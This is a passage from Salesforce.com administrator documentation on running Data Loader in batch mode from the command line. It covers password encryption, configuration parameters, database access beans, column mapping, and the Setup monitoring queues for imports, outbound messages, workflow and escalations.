log files that track the operations and network connections made by the Data Loader. The two log files are:
sdl.log
Contains a detailed chronological list of Data Loader log entries. Log entries marked “INFO” are procedural items, such
as logging in to Salesforce.com. Log entries marked “ERROR” are problems such as a submitted record missing a required
field.

sdl_out.log
A supplemental log that contains additional information not captured in sdl.log. For example, it includes log entries for
the creation of proxy server network connections.

These files can be opened with commonly available text editor programs, such as Microsoft Notepad.
You can quickly open these files by entering %TEMP%\sdl.log and %TEMP%\sdl_out.log in either the Run dialog or
the Windows Explorer address bar.
If you are having login issues from the command line, ensure that the password provided in the configuration parameters is
encrypted. If you are having login issues from the UI, you may need to obtain a new security token.

RUNNING BATCH PROCESSES

Running in Batch Mode


You can run the Data Loader in batch mode from the command line. See the following topics:

• Understanding Installed Directories and Files


• Encrypting From the Command Line
• Upgrading Your Batch Mode Interface
• Using the Command Line Interface
• Configuring Batch Processes
• Data Loader Process Configuration Parameters
• Data Loader Command Line Operations
• Configuring Database Access
• Mapping Columns
• Running Individual Batch Processes
• Data Access Objects

681
Data Management Understanding Installed Directories and Files

Note: If you have used the batch mode from the command line with a version earlier than 8.0, see Upgrading Your
Batch Mode Interface on page 683.

Understanding Installed Directories and Files


In versions 8.0 and later, installing the Data Loader creates several directories under the installation directory. The following
directories are involved in running the program from the command line for automated batch processing:
bin
Contains the batch files encrypt.bat for encrypting passwords and process.bat for running batch processes.
For information on running the Data Loader from the command line, see Using the Command Line Interface on page
683.

conf
The default configuration directory. Contains the configuration files config.properties, Loader.class, and
log-conf.xml.

The config.properties file that is generated when you modify the Settings dialog in the graphical user interface is
located at C:\Documents and Settings\your Windows username\Application
Data\salesforce.com\Data Loader version_number. You can copy this file to the conf installation directory
to use it for batch processes.

samples
Contains subdirectories of sample files for reference.

File Path Convention


The file paths provided in these topics start one level below the installation directory. For example, \bin means C:\Program
Files \salesforce.com\Data Loader version_number\bin, provided you accepted the default installation directory.
If you installed the program to a different location, please substitute that directory path as appropriate.

Encrypting From the Command Line


When running the Data Loader in batch mode from the command line, you must encrypt the following configuration
parameters:

• sfdc.password
• sfdc.proxyPassword

Use the utility described below to perform encryption.

Using the Encryption Utility


The Data Loader offers an encryption utility to secure passwords specified in configuration files. To use the encryption utility:
1. Run \bin\encrypt.bat.
2. At the command line, follow the prompts provided to execute the following actions:

682
Data Management Upgrading Your Batch Mode Interface

Generate a key
Key text is generated onscreen from the text you provide. Carefully copy the key text to a key file, omitting any leading
or trailing spaces. The key file can then be used for encryption and decryption.

Encrypt text
Generates an encrypted version of a password or other text. Optionally, you can provide a key file for the encryption.
In the configuration file, make sure that the encrypted text is copied precisely and the key file is mentioned.

Verify encrypted text


Given encrypted and decrypted versions of a password, verifies whether the encrypted password provided matches
its decrypted version. A success or failure message is printed to the command line.

Upgrading Your Batch Mode Interface


The batch mode interface in versions 8.0 and later of the Data Loader are not backwards-compatible with earlier versions. If
you are using a version earlier than 8.0 to run batch processes, your options are as follows:
Maintain the old version for batch use
Do not uninstall your old version of the Data Loader. Continue to use that version for batch processes. You cannot take
advantage of newer features such as database connectivity, but your integrations will continue to work. Optionally, install
the new version alongside the old version and dedicate the old version solely to batch processes.

Generate a new config.properties file from the new GUI


If you originally generated your config.properties file from the graphical user interface, use the new version to set
the same properties and generate a new file. Use this new file with the new batch mode interface. For more information,
see Running in Batch Mode on page 681.

Manually update your config.properties file


If your old config.properties file was created manually, then you must manually update it for the new version. For
more information, see Understanding Installed Directories and Files on page 682.

Using the Command Line Interface


Available in: Enterprise, Unlimited, and Developer Editions

For automated batch operations such as nightly scheduled loads and extractions, run Data Loader from the command line.
Before running any batch operation, be sure to include your encrypted password in the configuration file. For more information,
see Encrypting From the Command Line on page 682. From the command line, navigate into the bin directory and type
process.bat, which takes the following parameters:

• The directory containing config.properties.


• The name of the batch process bean contained in process-conf.xml.
For more information about using process.bat, see Running Individual Batch Processes on page 697.
To view tips and instructions, add -help to the command contained in process.bat.

683
Data Management Configuring Batch Processes

The Data Loader runs whatever operation, file, or map is specified in the configuration file that you specify. If you do not
specify a configuration directory, the current directory is used. By default, Data Loader configuration files are installed at the
following location:
C:\Program Files\salesforce.com\Data Loader version number\conf

The batch process configuration file is process-conf.xml. If you use process-conf.xml, setting process.name to
the name of a process specifies a process to run. Otherwise, the config.properties file is used for parameter settings. For
more information on batch mode, see Running in Batch Mode on page 681.
If you want to implement enhanced logging, use a copy of log-conf.xml.
You can change parameters at runtime by giving param=value as program arguments. For example, adding
process.operation=insert to the command changes the configuration at runtime.

You can set the minimum and maximum heap size. For example, -Xms256m -Xmx256m sets the heap size to 256 MB.
Note: These topics only apply to version 8.0 and later. If you have an earlier version of the Data Loader, see the
following blog post for command line instructions: http://blog.sforce.com/sforce/2005/06/sforce_data_loa.html

Tip:
If you experience login issues in the command line interface after upgrading to a new version of the Data Loader,
please try re-encrypting your password to solve the problem. For information on the password encryption utility, see
Encrypting From the Command Line on page 682.

Configuring Batch Processes


Use \samples\conf\process-conf.xml to configure your Data Loader processes, which are represented by ProcessRunner
beans. A process should have ProcessRunner as the class attribute and the following properties set in the configuration
file:
name
Sets the name of the ProcessRunner bean. This value is also used as the non-generic thread name and for configuration
backing files (see below).

configOverrideMap
A property of type map where each entry represents a configuration setting: the key is the setting name; the value is the
setting value.

enableLastRunOutput
If set to true (the default), output files containing information about the last run, such as
sendAccountsFile_lastrun.properties, are generated and saved to the location specified by
lastRunOutputDirectory. If set to false, the files are not generated or saved.

lastRunOutputDirectory
The directory location where output files containing information about the last run, such as
sendAccountsFile_lastrun.properties, are written. The default value is \conf. If enableLastRunOutput
is set to false, this value is not used because the files are not generated.

684
Data Management Data Loader Process Configuration Parameters

The configuration backing file stores configuration parameter values from the last run for debugging purposes, and is used to
load default configuration parameters in config.properties. The settings in configOverrideMap take precedence over
those in the configuration backing file. The configuration backing file is managed programmatically and does not require any
manual edits.
For the names and descriptions of available process configuration parameters, see Data Loader Process Configuration Parameters
on page 685.

Data Loader Process Configuration Parameters


When running the Data Loader in batch mode from the command line, you can specify the following configuration parameters
in config.properties. In some cases, the option is also represented in the graphical user interface at Settings ➤ Settings.

Parameter Name Data Equivalent Description


Type Option in
Settings
Dialog
This option forces files to open in UTF-8
Read all encoding, even if they were saved in a different
CSVs with format.
UTF-8
dataAccess.readUTF8 boolean encoding Sample value: true

Write all This option forces files to be written in UTF-8


CSVs with encoding.
UTF-8
dataAccess.writeUTF8 boolean encoding Sample value: true

Name of the data source to use, such as a CSV


file name. For databases, use the name of the
database configuration in database-conf.xml.
Not
applicable Sample value:
dataAccess.name string (N/A) c:\dataloader\data\extractLead.csv

Number of records read from your back-end or


other external database at a time. The maximum
value is 200.

dataAccess.readBatchSize integer N/A Sample value: 50

Standard or custom data source type. Standard


types are csvWriter, csvRead,
databaseWrite, and databaseRead.

dataAccess.type string N/A Sample value: csvWrite

Number of records written to your back-end or


other external database at a time. The maximum
value is 2,000. Note the implication for a large
dataAccess.writeBatchSize integer N/A parameter value: if an error occurs, all records in

685
Data Management Data Loader Process Configuration Parameters

Parameter Name Data Equivalent Description


Type Option in
Settings
Dialog
the batch are rolled back. In contrast, if the value
is set to 1, each record is processed individually
(not in batch) and errors are specific to a given
record. We recommend setting the value to 1
when you need to diagnose problems with writing
to a database.
Sample value: 500

Generate Select this option to generate a success file when


success exporting data.
files for
process.enableExtractSuccessOutput boolean exports Sample value: true

When running the Data Loader in batch mode,


you can disable the generation of output files such
as
sendAccountsFile_lastRun.properties.
Files of this type are saved by default to the conf
directory. To stop the writing of these files, set
this option to false.
Alternatively, you can change the location of the
directory where these files are saved, using
process.lastRunOutputDirectory.

process.enableLastRunOutput boolean N/A Sample value: true

Name of the file that contains the encryption key.


See Encrypting From the Command Line on
string page 682.
(file
process.encryptionKeyFile name) N/A Sample value: c:\dataloader\conf\my.key

The initial setting for the


process.lastRunDate parameter, which can
be used in a SQL string and is automatically
updated when a process has run successfully. For
an explanation of the date format syntax, see Date
Formats on page 672.
Format must be
yyyy-MM-ddTHH:mm:ss.SSS+/-HHmm. For
process.initialLastRunDate date N/A example: 2006-04-13T13:50:32.423-0700

When running the Data Loader in batch mode,


string you can change the location where output files
process.lastRunOutputDirectory (directory) N/A such as

686
Data Management Data Loader Process Configuration Parameters

Parameter Name Data Equivalent Description


Type Option in
Settings
Dialog
sendAccountsFile_lastRun.properties
are written. Files of this type are saved by default
to the conf directory. To change the location,
change the value of this option to the full path
where the last run files should be written.
Alternatively, you can stop the files from being
written, using
process.enableLastRunOutput.

If your last operation failed, you can use this


setting to begin where the last successful
operation finished.
Start at
process.loadRowToStartAt number row Sample value: 1008

Name of the the field mapping file to use. See


Mapping Columns on page 696.
string
(file Sample value:
process.mappingFile name) N/A c:\dataloader\conf\accountExtractMap.sdl

The operation to perform. See Data Loader


Command Line Operations on page 692.

process.operation string N/A Sample value: extract

The directory where “success” and “error” output


files are saved. The file names are automatically
generated for each operation unless you specify
otherwise in process-conf.xml.
string
process.statusOutputDirectory (directory) N/A Sample value: c:\dataloader\status

The name of the CSV file that stores error data


from the last operation.
string
(file Sample value:
process.outputError name) N/A c:\dataloader\status\myProcessErrors.csv

The name of the CSV file that stores success data


from the last operation. See also
process.enableExtractSuccessOutput
on page 686.
string
(file Sample value:
process.outputSuccess name) N/A c:\dataloader\status\myProcessSuccesses.csv

687
Data Management Data Loader Process Configuration Parameters

Parameter Name Data Equivalent Description


Type Option in
Settings
Dialog
Use Select this option to support the date formats
European dd/MM/yyyy and dd/MM/yyyy HH:mm:ss.
Date
process.useEuropeanDates boolean Format Sample value: true

Specify the ID of the assignment rule to use for


inserts, updates, and upserts. This option applies
to inserts, updates, and upserts on cases and leads.
It also applies to updates on accounts if your
organization has territory assignment rules on
accounts. The assignment rule overrides Owner
values in your CSV file.
Assignment
sfdc.assignmentRule string Rule Sample value: 03Mc00000026J7w

The number of milliseconds to wait between


successive checks to determine if the asynchronous
Bulk API operation is complete or how many
records have been processed. See also
sfdc.useBulkApi. We recommend a value of
5000.

sfdc.bulkApiCheckStatusInterval integer N/A Sample value: 5000

Select this option to use serial instead of parallel


processing for the Bulk API. Processing in parallel
can cause database contention. When this is
severe, the load may fail. Using serial mode
guarantees that batches are processed one at a
time. Note that using this option may significantly
Enable increase the processing time for a load. See also
serial sfdc.useBulkApi.
mode for
sfdc.bulkApiSerialMode boolean Bulk API Sample value: false

The number of seconds to wait for a connection


during API calls.

sfdc.connectionTimeoutSecs integer N/A Sample value: 60

If true, enables SOAP message debugging. By


default, messages are sent to STDOUT unless
you specify an alternate location in
sfdc.debugMessagesFile.

sfdc.debugMessages boolean N/A Sample value: false

688
Data Management Data Loader Process Configuration Parameters

Parameter Name Data Equivalent Description


Type Option in
Settings
Dialog
See
process.enableExtractSuccessOutput
on page 686. Stores SOAP messages sent to or
from Salesforce.com. As messages are sent or
received, they are appended to the end of the file.
As the file does not have a size limit, please
monitor your available disk storage appropriately.
string
(file Sample value:
sfdc.debugMessagesFile name) N/A \lexiloader\status\sfdcSoapTrace.log

If true, enables repeated attempts to connect to


Salesforce.com servers. See sfdc.maxRetries
on page 690 and sfdc.minRetrySleepSecs
on page 690.

sfdc.enableRetries boolean N/A Sample value: true

Enter the URL of the Salesforce.com server with


which you want to communicate. For example,
if you are loading into a sandbox, change the URL
to https://test.salesforce.com.

Server Sample production value:


sfdc.endpoint URL Host http://na4.salesforce.com

The Salesforce.com object used in the operation.

sfdc.entity string N/A Sample value: Lead

Used in upsert operations; specifies the custom


field with the “External ID” attribute that are
used as a unique identifier for data matching. For
more information about external IDs, see Custom
Field Attributes on page 817.

sfdc.externalIdField string N/A Sample value: LegacySKU__c

In a single export or query operation, records are


returned from Salesforce.com in increments of
this size. The maximum value is 2,000. Larger
values may improve performance, but use more
Query memory on the client.
Request
sfdc.extractionRequestSize integer Size Sample value: 500

689
Data Management Data Loader Process Configuration Parameters

Parameter Name Data Equivalent Description


Type Option in
Settings
Dialog
The SOQL query for the data export. For more
information on SOQL, see the Web Services API
Developer's Guide.
Sample value: SELECT Id, LastName,
FirstName, Rating, AnnualRevenue,
sfdc.extractionSOQL string N/A OwnerId FROM Lead

Enable this option to insert blank mapped values


as null values during data operations. Note that
when you are updating records, this option
instructs the Data Loader to overwrite any
Insert existing data in mapped fields.
Null
sfdc.insertNulls boolean Values Sample value: false

In a single insert, update, upsert, or delete


operation, records moving to or from
Salesforce.com are processed in increments of this
size. The maximum value is 200. We recommend
a value between 50 and 100.
Batch
sfdc.loadBatchSize integer Size Sample value: 100

The maximum number of repeated attempts to


connect to Salesforce.com. See
sfdc.enableRetries on page 689.

sfdc.maxRetries integer N/A Sample value: 3

The minimum number of seconds to wait


between connection retries. The wait time
increases with each try. See
sfdc.enableRetries on page 689.

sfdc.minRetrySleepSecs integer N/A Sample value: 2

Compression enhances the performance of the


Data Loader and is turned on by default. You
may want to disable compression if you need to
debug the underlying SOAP messages. To turn
off compression, enable this option.

sfdc.noCompression boolean Compression Sample value: false

An encrypted Salesforce.com password that


encrypted corresponds to the username provided in
sfdc.password string N/A sfdc.username on page 692. See also

690
Data Management Data Loader Process Configuration Parameters

Parameter Name Data Equivalent Description


Type Option in
Settings
Dialog
Encrypting From the Command Line on page
682.
Sample value: 4285b36161c65a22

The host name of the proxy server, if applicable.

Proxy Sample value:


sfdc.proxyHost URL Host http://myproxy.internal.company.com

An encrypted password that corresponds to the


proxy username provided in
sfdc.proxyUsername on page 691. See also
Encrypting From the Command Line on page
682.
encrypted Proxy
sfdc.proxyPassword string Password Sample value: 4285b36161c65a22

The proxy server port.


Proxy
sfdc.proxyPort integer Port Sample value: 8000

The username for proxy server authentication.


Proxy
sfdc.proxyUsername string Username Sample value: jane.doe

By default, Salesforce.com resets the URL after


login to the one specified in sfdc.endpoint.
To turn off this automatic reset, disable this
option.
Reset URL
sfdc.resetUrlOnLogin boolean on Login Sample value: false

Specify for how many seconds the Data Loader


waits to receive a response back from the server.

sfdc.timeoutSecs integer Timeout Sample value: 540

Select this option to direct the Data Loader to


truncate data in the following types of fields when
loading that data into Salesforce.com: Email,
Multi-select Picklist, Phone, Picklist, Text, and
Text (Encrypted).
In Data Loader versions 14.0 and earlier, values
for fields of those types are truncated by the Data
Allow Loader if they are too large. In Data Loader
field version 15.0 and later, the load operation fails if
sfdc.truncateFields boolean truncation a value is specified that is too large.

691
Data Management Data Loader Command Line Operations

Parameter Name Data Equivalent Description


Type Option in
Settings
Dialog
Selecting this option allows you to specify that
the previous behavior, truncation, be used instead
of the new behavior in Data Loader versions 15.0
and later. This option is selected by default and
has no effect in versions 14.0 and earlier.
This option is not available if the Use Bulk
API option is selected. In that case, the load
operation fails for the row if a value is specified
that is too large for the field.
Sample value: true

Select this option to use the Bulk API to insert,


update, upsert, delete, and hard delete records.
The Bulk API is optimized to load or delete a
large number of records asynchronously. It is
faster than the default SOAP-based API due to
parallel processing and fewer network round-trips.
See also sfdc.bulkApiSerialMode.
Use Bulk
sfdc.useBulkApi boolean API Sample value: true

Salesforce.com username. See sfdc.password


on page 690.

sfdc.username string N/A Sample value: jdoe@mycompany.com

Data Loader Command Line Operations


When running the Data Loader in batch mode from the command line, several operations are supported. An operation
represents the flow of data between Salesforce.com and an external data source such as a CSV file or a database. See the
following list of operation names and descriptions.
Extract
Uses a Salesforce.com Object Query Language (SOQL) string to export a set of records from Salesforce.com, then writes
the exported data to a data source.

Insert
Loads data from a data source into Salesforce.com as new records.

Update
Loads data from a data source into Salesforce.com, where existing records with matching ID fields are updated.

692
Data Management Configuring Database Access

Upsert
Loads data from a data source into Salesforce.com, where existing records with a matching custom external ID field are
updated; records without matches are inserted as new records.

Delete
Loads data from a data source into Salesforce.com, where existing records with matching ID fields are deleted.

Hard Delete
Loads data from a data source into Salesforce.com, where existing records with matching ID fields are deleted without
being stored first in the Recycle Bin.

Configuring Database Access


When you run the Data Loader in batch mode from the command line, use \samples\conf\database-conf.xml to
configure database access objects, which you use to extract data directly from a database.

DatabaseConfig Bean
The top-level database configuration object is the DatabaseConfig bean, which has the following properties:
sqlConfig
The SQL configuration bean for the data access object that interacts with a database.

dataSource
The bean that acts as database driver and authenticator. It must refer to an implementation of javax.sql.DataSource
such as org.apache.commons.dbcp.BasicDataSource.

DatabaseConfig Example
<bean id="AccountInsert"
class="com.salesforce.dataloader.dao.database.DatabaseConfig"
singleton="true">
<property name="sqlConfig" ref="accountInsertSql"/>
</bean>

DataSource
The DataSource bean sets the physical information needed for database connections. It contains the following properties:
driverClassName
The fully qualified name of the implementation of a JDBC driver.

url
The string for physically connecting to the database.

username
The username for logging in to the database.

693
Data Management Configuring Database Access

password
The password for logging in to the database.

Depending on your implementation, additional information may be required. For example, use
org.apache.commons.dbcp.BasicDataSource when database connections are pooled.

DataSource Example
<bean id="oracleRepDataSource"
class="org.apache.commons.dbcp.BasicDataSource"
destroy-method="close">
<property name="driverClassName" value="oracle.jdbc.driver.OracleDriver"/>
<property name="url"
value="jdbc:oracle:thin:@myserver.internal.salesforce.com:1521:TEST"/>
<property name="username" value="test"/>
<property name="password" value="test"/>
</bean>

Spring Framework Overview


The Data Loader configuration files are based on the Spring Framework, which is an open source full-stack Java/J2EE
application framework.
The Spring Framework allows you to use XML files to configure beans. Each bean represents an instance of an object; the
parameters correspond to each object's setter methods. A typical bean has the following attributes:
id
Uniquely identifies the bean to XmlBeanFactory, which is the class that gets objects from an XML configuration file.

class
Specifies the implementation class for the bean instance.

For more information on the Spring Framework, see the official documentation and the support forums. Note that salesforce.com
cannot guarantee the availability or accuracy of external websites.

Data Access Objects


When running the Data Loader in batch mode from the command line, several data access objects are supported. A data access
object allows access to an external data source outside of Salesforce.com. They can implement a read interface (DataReader),
a write interface (DataWriter), or both. See the following list of object names and descriptions.
csvRead
Allows the reading of a comma or tab-delimited file. There should be a header row at the top of the file that describes
each column.

csvWrite
Allows writing to a comma or tab-delimited file. A header row is added to the top of the file based on the column list
provided by the caller.

694
Data Management Configuring Database Access

databaseRead
Allows the reading of a database. Use database-conf.xml to configure database access. For more information, see
Configuring Database Access on page 693.

databaseWrite
Allows writing to a database. Use database-conf.xml to configure database access. For more information, see
Configuring Database Access on page 693.

SQL Configuration
When running the Data Loader in batch mode from the command line, the SqlConfig class contains configuration parameters
for accessing specific data in the database. As shown in the code samples below, queries and inserts are different but very
similar. The bean must be of type com.salesforce.dataloader.dao.database.SqlConfig and have the following
properties:
sqlString
The SQL code to be used by the data access object.
The SQL can contain replacement parameters that make the string dependent on configuration or operation variables.
Replacement parameters must be delimited on both sides by “@” characters. For example, @process.lastRunDate@.

sqlParams
A property of type map that contains descriptions of the replacement parameters specified in sqlString. Each entry
represents one replacement parameter: the key is the replacement parameter's name, the value is the fully qualified Java
type to be used when the parameter is set on the SQL statement. Note that “java.sql” types are sometimes required, such
as java.sql.Date instead of java.util.Date. For more information, see the official JDBC API documentation.

columnNames
Used when queries (SELECT statements) return a JDBC ResultSet. Contains column names for the data outputted
by executing the SQL. The column names are used to access and return the output to the caller of the DataReader
interface.

SQL Query Bean Example


<bean id="accountMasterSql"
class="com.salesforce.dataloader.dao.database.SqlConfig"
singleton="true">
<property name="sqlString"/>
<value>
SELECT distinct
'012x00000000Ij7' recordTypeId,
accounts.account_number,
org.organization_name,
concat (concat(parties.address1, ' '), parties.address2) billing_address,
locs.city,
locs.postal_code,
locs.state,
locs.country,
parties.sic_code
from
ar.hz_cust_accounts accounts,
ar.hz_organization_profiles org,
ar.hz_parties parties,
ar.hz_party_sites party_sites,

695
Data Management Mapping Columns

ar.hz_locations locs
where
accounts.PARTY_ID = org.PARTY_ID
and parties.PARTY_ID = accounts.PARTY_ID
and party_sites.PARTY_ID = accounts.PARTY_ID
and locs.LOCATION_ID = party_sites.LOCATION_ID
and (locs.last_update_date > @process.lastRunDate@ OR
accounts.last_update_date > @process.lastRunDate@
</value>
</property>
<property name="columNames">
<list>
<value>recordTypeId</value>
<value>account_number</value>
<value>organization_name</value>
<value>billing_address</value>
<value>city</value>
<value>postal_code</value>
<value>state</value>
<value>country</value>
<value>sic_code</value>
</list>
</property>
<property name="sqlParams">
<map>
<entry key="process.lastRunDate" value="java.sql.Date"/>
</map>
</property>
</bean>

SQL Insert Bean Example


<bean id="partiesInsertSql"
class="com.salesforce.dataloader.dao.database.SqlConfig"
singleton="true">
<property name="sqlString"/>
<value>
INSERT INTO REP.INT_PARTIES (
BILLING_ADDRESS, SIC_CODE)
VALUES (@billing_address@, @sic_code@)
</value>
</property>
<property name="sqlParams"/>
<map>
<entry key="billing_address" value="java.lang.String"/>
<entry key="sic_code" value="java.lang.String"/>
</map>
</property>
</bean>

Mapping Columns
When running the Data Loader in batch mode from the command line, you must create a properties file that maps values
between Salesforce.com and data access objects.

1. Create a new file.


2. Observe the following syntax:

• On each line, pair a data source with its destination.


• Put the data source on the left, an equals sign (=) as a separator, and the destination on the right.

696
Data Management Running Individual Batch Processes

• Data sources can be either column names or constants. Surround constants with double quotation marks, as in
“sampleconstant”. Values without quotation marks are treated as column names.
• Destinations must be column names.
• You may map constants by surrounding them with double quotation marks, as in "United
States"=BillingCountry.

3. In your configuration file, use the parameter process.mappingFile to specify the name of your mapping file.

Column Mapping Example for Data Insert


The Salesforce.com fields are on the right.

SLA__C=SLA__c
BILLINGCITY=BillingCity
SYSTEMMODSTAMP=
OWNERID=OwnerId
CUSTOMERPRIORITY__C=CustomerPriority__c
ANNUALREVENUE=AnnualRevenue
DESCRIPTION=Description
BILLINGSTREET=BillingStreet
SHIPPINGSTATE=ShippingState

Column Mapping Example for Data Export


The Salesforce.com fields are on the left.

Id=account_number
Name=name
Phone=phone

Running Individual Batch Processes


To start an individual batch process use \bin\process.bat, which requires the following parameters:
A configuration directory
The default is \conf.
To use an alternate directory, create a new directory and add the following files to it:

• If your process is not interactive, copy process-conf.xml from \samples\conf.


• If your process requires database connectivity, copy database-conf.xml from \samples\conf.
• Copy config.properties from \conf.

A process name
The name of the ProcessRunner bean from \samples\conf\process-conf.xml.

Process Example
process ../conf accountMasterProcess

697
Data Management Data Loader Third-Party Licenses

Note: You can configure external process launchers such as the Microsoft Windows XP Scheduled Task Wizard to
run processes on a schedule.

Data Loader Third-Party Licenses


Available in: Enterprise, Unlimited, and Developer Editions

The following third-party licenses are included with the installation of the Data Loader:

Technology Version Number License


Axis Ant 1.1 http://www.apache.org/licenses/LICENSE-1.1
Apache Jakarta Commons 1.6 http://www.apache.org/licenses/LICENSE-1.1
BeanUtils
Apache Commons Collections 3.1 http://jakarta.apache.org/commons/license.html
Apache Commons Database 1.2.1 http://jakarta.apache.org/commons/license.html
Connection Pooling (DBCP)
Apache Commons Logging 1.0.3 http://jakarta.apache.org/commons/license.html
Apache Commons Object Pooling 1.2 http://jakarta.apache.org/commons/license.html
Library
Apache Log4j 1.2.8 http://www.apache.org/licenses/LICENSE-2.0.html
Eclipse SWT 3.063 http://www.eclipse.org/org/documents/epl-v10.html
OpenSymphony Quartz Enterprise 1.5.1 http://www.opensymphony.com/quartz/license.action
Job Scheduler
Rhino JavaScript for Java 1.6R2 http://www.mozilla.org/MPL/MPL-1.1.txt
Spring Framework 1.2.6 http://www.apache.org/licenses/LICENSE-2.0.txt

Note: salesforce.com is not responsible for the availability or content of third-party websites.

698
Data Management Force.com ConnectOracle

Force.com ConnectOracle
Available for an additional cost in: Enterprise and Unlimited Editions

Force.com ConnectOracle is a lightweight, easy to implement, packaged integration solution for Salesforce.com and Oracle
e-Business Suite 11i. It enables synchronization of account information between Salesforce.com and an Oracle e_BusinessSuite
11i back-office system, while significantly reducing the time, expense, and effort required to integrate the two systems.
ConnectOracle provides several benefits to enterprise customers, including:

• Fast and simple customer data integration, using a pre-built customer-master template which addresses end-to-end
integration between Salesforce.com and Oracle e_Business Suite 11i, thus accelerating the customer data integration process
• Bidirectional synchronization of account information between Salesforce.com and Oracle e-Business Suite 11i
• Access to front- and back-office enterprise customer data in Salesforce.com, enabling better, faster decisions with information
transparency

Note: Contact salesforce.com to learn more about purchasing and using ConnectOracle.

If ConnectOracle is enabled for your organization, you can download it via Setup ➤ Data Management ➤ ConnectOracle.

See Also:
Force.com ConnectSAP

Force.com ConnectSAP
Available for an additional cost in: Enterprise and Unlimited Editions

Force.com ConnectSAP is a lightweight, easy to implement, packaged integration solution for Salesforce.com and SAP R/3®
that delivers an integrated and consistent view of relevant customer data in both systems. It enables synchronization of account
information between Salesforce.com and SAP R/3®, while significantly reducing the time, expense, and effort required to
integrate the two systems. ConnectSAP is a lightweight Java application that is deployed on premise, local to the SAP R/3®
system.
Note: Contact salesforce.com to learn more about purchasing and using ConnectSAP.

If ConnectSAP is enabled for your organization, you can download it via Setup ➤ Data Management ➤ ConnectSAP.

699
Monitoring Using the Import Queue

MONITORING

Using the Import Queue


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To use the Import Queue: “Modify All Data”

Administrators can check the Import Queue to view details about an import or to cancel an organization import. Import details
are removed from the queue three days after completion.

1. Click Setup ➤ Monitoring ➤ Imports.


2. Select the file name of the import file to see the Import Queue Detail page for that file.

If you want to cancel an import, and the import has not started processing, click Del. You cannot cancel an import after it has
started processing.
The possible values of the Status column are listed below:

Status Description
Aborted The import did not complete successfully. The error details are emailed to the user who performed the
import. Aborted imports can be retried within three days, but, if multiple retry attempts are made, the
import cannot remain in the queue for more than 30 days from the original import attempt.
Completed The import completed successfully without errors.
Error The import was processed and errors were encountered. The error details are emailed to the user who
performed the import. The user can fix the errors, and then attempt the import again.
Pending The import is in the queue but has not started processing yet.
Processing The import is in the queue and is currently being processed.

See Also:
Importing Overview

700
Monitoring Tracking Outbound Message Delivery Status

Tracking Outbound Message Delivery Status


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To track outbound messages: “Modify All Data”

An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you
designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP
message to the endpoint.
To track the status of an outbound message, click Setup ➤ Monitoring ➤ Outbound Messages. Alternatively, click Setup
➤ Create ➤ Workflow & Approvals ➤ Outbound Messages, and then click View Message Delivery Status. Here you can
view the status of your outbound messages:

• The Next items for delivery related list contains all outbound messages that are awaiting delivery.
• The Oldest failures in queue related list contains the oldest failures that have not yet been deleted (because they have not
been delivered and are not 24 hours old).
• The Failed outbound messages related list contains all the outbound messages that failed to be delivered and are no longer
being retried. Messages are listed here only if you configure the message when you create it by selecting Add failures
to failed outbound message related list. For more information, see Defining Outbound Messages on page
1423. If you do not see this related list, it has not been enabled for your organization. Contact your salesforce.com
representative.

You can perform several tasks here:

• Click Refresh to refresh the list.


• Click any workflow or approval process action ID to view the action that triggered it.
• Click Retry to change the Next Attempt date to now. This causes the message delivery to be immediately retried. If you
select Retry in the Failed outbound messages related list, the outbound message moves to the Next items for delivery
related list and is retried for another 24 hours.
• Click Del to permanently remove the outbound message from the queue.

Note: If you do not have these options, your organization does not have outbound messages enabled. Contact
salesforce.com to enable outbound messages for your organization.

See Also:
Managing Outbound Messages
Managing Workflow and Approvals

701
Monitoring Monitoring the Workflow Queue

Monitoring the Workflow Queue


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage the workflow queue: “Modify All Data”

When Salesforce.com triggers a workflow rule that has time-dependent actions, use the workflow queue to view pending
actions and cancel them if necessary.
To view pending actions:

1. Click Setup ➤ Monitoring ➤ Time-Based Workflow.


2. Click Search to view all pending actions for any active workflow rules, or set the filter criteria and click Search to view
only the pending actions that match the criteria. The filter options are:
Workflow Rule Name
The name of the workflow rule.

Object
The standard or custom object that triggered the workflow rule. Enter the object name in the singular form such as
“opportunity.”

Scheduled Date
The date the pending actions are scheduled to occur.

Create Date
The date the record that triggered the workflow was created.

Created By
The user who created the record that triggered the workflow rule.

Record Name
The name of the record that triggered the workflow rule.

The filter is not case-sensitive. For more information on filters, see Entering Filter Criteria on page 2163.

To optionally cancel pending actions:

1. Select the box next to the pending actions you want to cancel. Optionally, check the box in the column header to select all
currently displayed items.

702
Monitoring Monitoring the Entitlement Process Queue

2. Click Delete. Salesforce.com cancels the pending action.

See Also:
Managing Workflow Rules
Creating Workflow Rules
Time-Dependent Action and Time Trigger Considerations
Administrator tip sheet: Workflow: Automating The Process

Monitoring the Entitlement Process Queue


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage the entitlement process queue: “Modify All Data”

When Salesforce.com triggers an entitlement process that has time-dependent milestone actions, use the entitlement process
queue to view pending actions and cancel them, if necessary.
To view pending actions:

1. Click Setup ➤ Monitoring ➤ Entitlement Processes.


2. Click Search to view all pending actions for any active workflow rules, or set the filter criteria and click Search to view
only the pending actions that match the criteria. The filter options are:
Entitlement Process Name
The entitlement process.

Case Number
The case's automatically-generated identifying number.

Milestone Name
The milestone that triggered the action.

Evaluation Date
The date the evaluated actions are scheduled to occur.

Created Date
The creation date of the case that triggered the entitlement process.

Username
The user who updated the case to trigger an entitlement process.

The filter is not case-sensitive. See Entering Filter Criteria on page 2163.

To cancel pending actions:

703
Monitoring Monitoring the Case Escalation Rule Queue

1. Select the box next to the pending actions you want to cancel. Optionally, check the box in the column header to select all
currently displayed items.
2. Click Delete.

See Also:
Entitlement Management Overview

Monitoring the Case Escalation Rule Queue


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage the case escalation rule queue: “Modify All Data”

When Salesforce.com triggers a case escalation rule that has time-dependent actions, use the escalation rule queue to view
pending actions and cancel them if necessary.
To view pending actions:

1. Click Setup ➤ Monitoring ➤ Case Escalations.


2. Click Search to view all pending actions for any active case escalation rule, or set the filter criteria and click Search to view
only the pending actions that match the criteria. The filter options are:
Case To Escalate
The Case Number of the escalated case. The Case Number is a unique, automatically generated number used for
identifying the case.

Escalation Rule
